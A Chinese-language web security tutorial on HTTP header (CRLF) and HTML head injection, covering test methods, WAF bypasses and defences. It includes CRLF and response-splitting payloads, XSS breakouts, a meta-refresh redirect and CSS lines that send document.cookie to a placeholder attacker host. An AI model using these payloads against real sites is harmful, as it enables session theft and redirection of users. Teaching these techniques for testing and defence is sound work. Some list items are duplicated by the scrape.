HTML头部注入漏洞是攻击者通过操纵用户输入，在HTTP响应头或HTML的<head>标签中注入恶意内容，导致XSS、重定向、Cookie篡改等危害，其本质是用户输入被错误当作指令执行。该漏洞主要存在于参数反射、自定义Header、错误页面等场景，挖掘时需结合Burp等工具测试CRLF注入（如%0d%0aSet-Cookie）和HTML注入（如</title><script>），并绕过过滤、编码、WAF等限制。需区分HTTP头部注入（协议层，操纵响应头）与HTML头部注入（解析层，注入<head>内容），前者可导致后者，但二者技术层面不同。防御核心为不信任用户输入，采取白名单验证、上下文敏感编码、安全模板引擎、CSP策略、HttpOnly/Secure Cookie及定期审计，实现多层防护。
HTML头部注入漏洞，说白了，就是攻击者通过操纵用户输入，让服务器在响应的HTTP头部或者最终渲染的HTML页面的<head>标签中，输出一些不该出现的内容。这东西的危害可不小，它能让你原本安全的页面变得危机四伏，从简单的信息篡改到复杂的客户端脚本执行，都有可能。本质上，这是信任边界被模糊，用户输入被错误地当成了服务器或浏览器指令的结果。
解决方案
挖掘HTML头部注入漏洞，首先要理解它的“藏身之处”。它通常发生在应用程序将用户输入直接或间接嵌入到HTTP响应头（如Location, Set-Cookie, X-Frame-Options等）或HTML文档的<head>部分（如<title>, <meta>, <script>, <style>标签）时，且没有进行充分的验证或编码。
挖掘思路：
-
参数追踪与反射点识别：
立即学习“前端免费学习笔记（深入）”；
-
HTTP请求参数： 仔细检查URL查询字符串、POST请求体中的所有参数。尝试修改这些参数的值，观察它们是否在HTTP响应头或HTML的
<head>区域中原样返回。 -
自定义Header： 有些应用会根据请求中的自定义HTTP头（如
X-Forwarded-For）来生成响应头或HTML内容，这也是一个潜在的注入点。 - 错误信息： 应用程序在处理异常或错误时，有时会将用户输入错误地反射到响应中，包括头部。
-
工具辅助： 使用Burp Suite、OWASP ZAP等代理工具，拦截请求并逐一修改参数值，同时观察响应的HTTP头部和HTML源码（特别是
<head>部分）。
-
HTTP请求参数： 仔细检查URL查询字符串、POST请求体中的所有参数。尝试修改这些参数的值，观察它们是否在HTTP响应头或HTML的
-
注入测试与Payload构造：
-
HTTP头部注入 (CRLF Injection):
- 核心是利用回车换行符（CRLF，即
%0d%0a或\r\n）来“截断”当前的HTTP头，从而注入新的HTTP头。 -
Payload示例：
- 在参数值中加入
%0d%0aSet-Cookie: injected_cookie=malicious_value，尝试注入新的Cookie。 -
%0d%0aLocation: javascript:alert(1)（在某些旧浏览器或特定配置下可能导致XSS，更常见的是重定向到恶意站点）。 -
%0d%0aX-XSS-Protection: 0（尝试禁用浏览器XSS保护）。 -
HTTP Response Splitting: 更高级的攻击，注入两个CRLF来结束当前响应头并开始一个新的完整HTTP响应。例如：
%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0aContent-Length: 25%0d%0a%0d%0a<script>alert(1)</script>。这可能导致缓存投毒或客户端XSS。
- 在参数值中加入
- 核心是利用回车换行符（CRLF，即
-
HTML头部注入 (Direct HTML Injection):
- 当用户输入直接被插入到
<head>标签内，且未进行HTML实体编码时，就可以注入任意HTML/JavaScript代码。 -
Payload示例：
-
XSS：
- 如果反射点在
<title>标签内：</title><script>alert(document.domain)</script> - 如果反射点在
<meta name="description" content="[此处]">："><script>alert(1)</script><!--或"><meta http-equiv="refresh" content="0;url=http://malicious.com"> - 如果反射点在
<link href="[此处]">：" onerror="alert(1)">(如果能跳出属性)
- 如果反射点在
-
Open Redirect：
<meta http-equiv="refresh" content="0;url=http://malicious.com"> -
CSS Injection：
</style><style>body{background:url(http://malicious.com/log?c=) /*偷取cookie*/}</style>
-
XSS：
- 当用户输入直接被插入到
-
-
验证与危害评估：
- 成功注入后，观察浏览器行为。是否弹窗？是否重定向？Cookie是否被篡改？
- 评估漏洞的潜在影响，是XSS、信息泄露、钓鱼还是其他更严重的攻击。
一个真实的挖掘场景：
我在一次渗透测试中，发现一个应用的搜索功能，当搜索关键词过长时，页面会跳转到一个错误提示页，而这个错误提示页的Location头会包含用户输入的搜索词。我尝试在搜索词中加入%0d%0aSet-Cookie: sessionid=evil_session; HttpOnly; Secure。结果，我的浏览器成功设置了一个新的sessionid。虽然这个sessionid是假的，但这个发现证明了HTTP头部注入是存在的。进一步，如果能注入一个Location头指向一个恶意JavaScript，在某些特定环境下，就能实现XSS。
HTTP头部注入与HTML头部注入，它们是“一回事”吗？
在我看来，虽然它们都发生在页面的“头部”，且最终都可能导致客户端攻击，但它们在技术层面上是两个不同的概念，就好比“因”和“果”的关系，或者说是攻击链路上的不同阶段。
HTTP头部注入（HTTP Header Injection），主要指的是攻击者通过在请求中插入CRLF序列（回车换行符），来操纵服务器返回的HTTP响应头。这发生在HTTP协议层面。想象一下，服务器在构建HTTP响应时，会将你的某些输入直接拼接到某个响应头字段后面。如果你能在这个拼接点注入CRLF，就相当于提前结束了当前的头部字段，并可以开始写入一个新的、由你控制的HTTP头部，甚至是一个全新的HTTP响应。它的直接目标是改变服务器发送给客户端的“信封”上的信息。例如，注入一个新的Set-Cookie头来覆盖合法Cookie，或者注入Location头实现重定向。
而HTML头部注入（HTML Head Injection），则是指攻击者将恶意HTML或JavaScript代码注入到最终渲染的HTML文档的<head>标签内部。这发生在HTML解析层面。这意味着服务器已经生成了HTTP响应，浏览器也接收并开始解析HTML内容。攻击者利用的是应用程序将用户输入不加区分地放入<head>标签内的动态元素中，比如<title>、<meta description>、<script src="...">等。它的直接目标是改变HTML文档的结构和内容，从而在客户端执行恶意代码。
所以，它们不是一回事。HTTP头部注入是更底层、更协议层面的攻击，它可能导致HTML头部注入（比如通过注入Content-Type头改变编码导致后续HTML解析出错，或者注入Location头进行重定向），但HTML头部注入可以直接发生在应用程序渲染HTML时，不一定非要通过操纵HTTP头部来实现。可以说，HTTP头部注入是更广义的，而HTML头部注入是它可能导致的一种具体表现形式，当然，HTML头部注入也可以独立存在，不依赖于HTTP头部操纵。理解这个区别，对我们挖掘和防御都至关重要。
挖掘HTML头部注入的常见陷阱与突破口
在实际的渗透测试中，挖掘HTML头部注入并不是总那么顺利。我遇到过不少“坑”，也总结出了一些突破口。
常见陷阱：
-
严格的输入验证和过滤： 很多现代应用会对输入进行严格的过滤，比如移除
<>、"、'等特殊字符，或者对CRLF进行转义。这让传统的注入Payload直接失效。 -
上下文敏感的编码： 即使输入被反射，如果应用对输出进行了正确的上下文敏感编码，比如将
<编码为，那么注入的HTML标签就无法被浏览器解析。 - WAF（Web Application Firewall）的拦截： WAF通常会识别并拦截常见的XSS或CRLF注入Payload，导致攻击无法到达后端。
-
反射位置的限制： 有时候输入只反射在某个属性的值内部，且无法跳出属性，例如
<input value="[此处反射]">，这时候直接注入</input><script>是无效的。 - 浏览器自身的保护机制： 比如Chrome的XSS Auditor（虽然现在很多功能被CSP取代）或CSP（Content Security Policy）可以限制恶意脚本的执行。
突破口（技术与思路）：
-
编码绕过：
-
双重URL编码： 某些WAF或后端处理逻辑可能只会解码一次，尝试将Payload进行双重URL编码，例如
%253c而不是%3c。 -
HTML实体编码： 尝试使用HTML实体编码来绕过字符过滤，例如
代替<code><， -
宽字节注入： 在一些特定编码（如GBK）环境下，利用宽字节将
%bf%27等字符转换为一个有效的单引号，绕过过滤。
-
双重URL编码： 某些WAF或后端处理逻辑可能只会解码一次，尝试将Payload进行双重URL编码，例如
-
寻找不常见的反射点：
-
自定义HTTP头： 很多应用会根据请求中的自定义
X-开头的HTTP头（如X-Requested-With、X-Forwarded-Host）来动态生成响应内容或头部。这些地方往往是开发者容易忽略的，保护措施也相对薄弱。 - 错误页面/日志： 应用程序的错误处理逻辑常常会直接打印用户输入，而这些错误信息可能最终出现在响应头或HTML头部。
- 用户代理（User-Agent）/Referer头： 这些头信息有时也会被记录或反射到页面中，成为注入点。
-
自定义HTTP头： 很多应用会根据请求中的自定义
-
上下文敏感Payload：
-
跳出标签或属性： 如果反射在属性中，尝试用
"或'来闭合属性，然后注入新的HTML标签。例如：" autofocus onfocus="alert(1)" x="。 -
利用
data:或javascript:伪协议： 在可以控制URL的地方，尝试注入javascript:alert(1)或data:text/html,<script>alert(1)</script>。 -
CSS注入： 在
<style>标签或style属性中，利用CSS的URL特性来窃取信息，例如background-image:url('http://malicious.com/?cookie='+document.cookie)。
-
跳出标签或属性： 如果反射在属性中，尝试用
- 利用HTTP/2或HTTP/3的特性： 随着新协议的普及，一些旧的注入Payload可能在新的协议栈下有不同的表现，这需要深入研究。
- 自动化工具辅助： 虽然手动测试是王道，但像Burp Intruder、SQLmap（虽然名字是SQL，但其模糊测试能力可以扩展到其他注入）等工具，可以帮助我们快速测试大量的Payload组合，提高效率。
突破这些陷阱的关键在于细心观察、多尝试不同的编码和Payload，并且要对HTTP协议和HTML渲染机制有深入的理解。
防御HTML头部注入攻击，我们能做些什么？
作为开发者或安全工程师，面对HTML头部注入这类攻击，我的核心理念就一条：永远不要相信任何用户输入。所有的防御措施，都围绕着这个中心思想展开。
-
严格的输入验证与白名单机制：
-
对于HTTP头部： 任何需要用于构造HTTP响应头的用户输入，都应该进行极其严格的验证。最好是采用白名单机制，只允许已知安全的、符合预期格式的值通过。例如，如果一个参数只应该包含数字，那就只允许数字。对于可能包含CRLF的输入，必须将其彻底过滤或转义，确保
%0d%0a不会被解释为CRLF。 -
对于HTML内容： 如果用户输入要显示在HTML页面中，特别是
<head>部分，同样要严格验证。限制输入长度，禁止特殊字符。
-
对于HTTP头部： 任何需要用于构造HTTP响应头的用户输入，都应该进行极其严格的验证。最好是采用白名单机制，只允许已知安全的、符合预期格式的值通过。例如，如果一个参数只应该包含数字，那就只允许数字。对于可能包含CRLF的输入，必须将其彻底过滤或转义，确保
-
上下文敏感的输出编码（Output Encoding）：
- 这是防御HTML头部注入，尤其是HTML头部XSS的关键。在将任何用户提供的数据输出到HTML页面之前，必须根据数据所在的上下文进行适当的编码。
-
HTML内容： 如果数据插入到HTML标签内部作为文本内容，应该使用HTML实体编码（如将
<编码为，<code>>编码为>）。 - HTML属性： 如果数据插入到HTML标签的属性值中，应该使用HTML属性编码。
- JavaScript上下文： 如果数据插入到JavaScript代码块中，必须使用JavaScript字符串编码。
- URL上下文： 如果数据用于构造URL，必须进行URL编码。
-
HTTP头部： 如果数据用于构造HTTP响应头，必须确保其中不包含CRLF（
\r\n），因为这可能导致HTTP响应截断或注入。很多现代Web框架的HTTP头设置函数会自动处理或禁止CRLF，但我们仍需警惕。 -
使用安全的模板引擎： 许多现代Web框架的模板引擎（如Jinja2、Django Templates、React JSX等）默认都具备自动HTML实体编码的功能，这大大降低了HTML注入的风险。但需要注意的是，如果开发者手动禁用了自动编码，或者在不安全的地方使用了
raw、unescape等函数，风险依然存在。
-
部署Content Security Policy (CSP)：
- CSP不是直接阻止注入，而是限制了注入成功后的危害。通过HTTP响应头中的
Content-Security-Policy字段，我们可以告诉浏览器哪些资源可以加载、哪些脚本可以执行、哪些源是可信的。 - 例如，
default-src 'self'可以阻止从外部域名加载脚本；script-src 'self' 'nonce-randomstring'可以只允许带有特定nonce值的内联脚本执行，这能有效缓解大部分XSS攻击的影响。即使攻击者成功注入了<script>alert(1)</script>，如果CSP配置得当，这个脚本也可能无法执行。
- CSP不是直接阻止注入，而是限制了注入成功后的危害。通过HTTP响应头中的
-
Cookie的安全属性：
- 如果HTTP头部注入导致了
Set-Cookie注入，那么为Cookie设置HttpOnly和Secure标志可以降低危害。 -
HttpOnly：禁止JavaScript访问Cookie，防止XSS攻击者窃取Cookie。 -
Secure：只在HTTPS连接下发送Cookie，防止中间人攻击窃听Cookie。
- 如果HTTP头部注入导致了
-
定期安全审计与代码审查：
- 定期对应用程序进行安全审计和代码审查，特别关注那些处理用户输入并将其输出到HTTP响应头或HTML页面的代码段。这能帮助我们发现潜在的注入点。
- 使用静态应用安全测试（SAST）工具和动态应用安全测试（DAST）工具进行自动化检测。
-
Web应用防火墙（WAF）：
- WAF可以在网络边缘提供一层额外的保护，拦截已知的恶意Payload，但这不应作为唯一的防御手段。WAF是“亡羊补牢”，而非“未雨绸缪”。
总而言之，防御HTML头部注入，需要我们从输入源头到输出渲染的每一个环节都保持警惕。多层防御、深度防御，才是保障Web应用安全的基石。
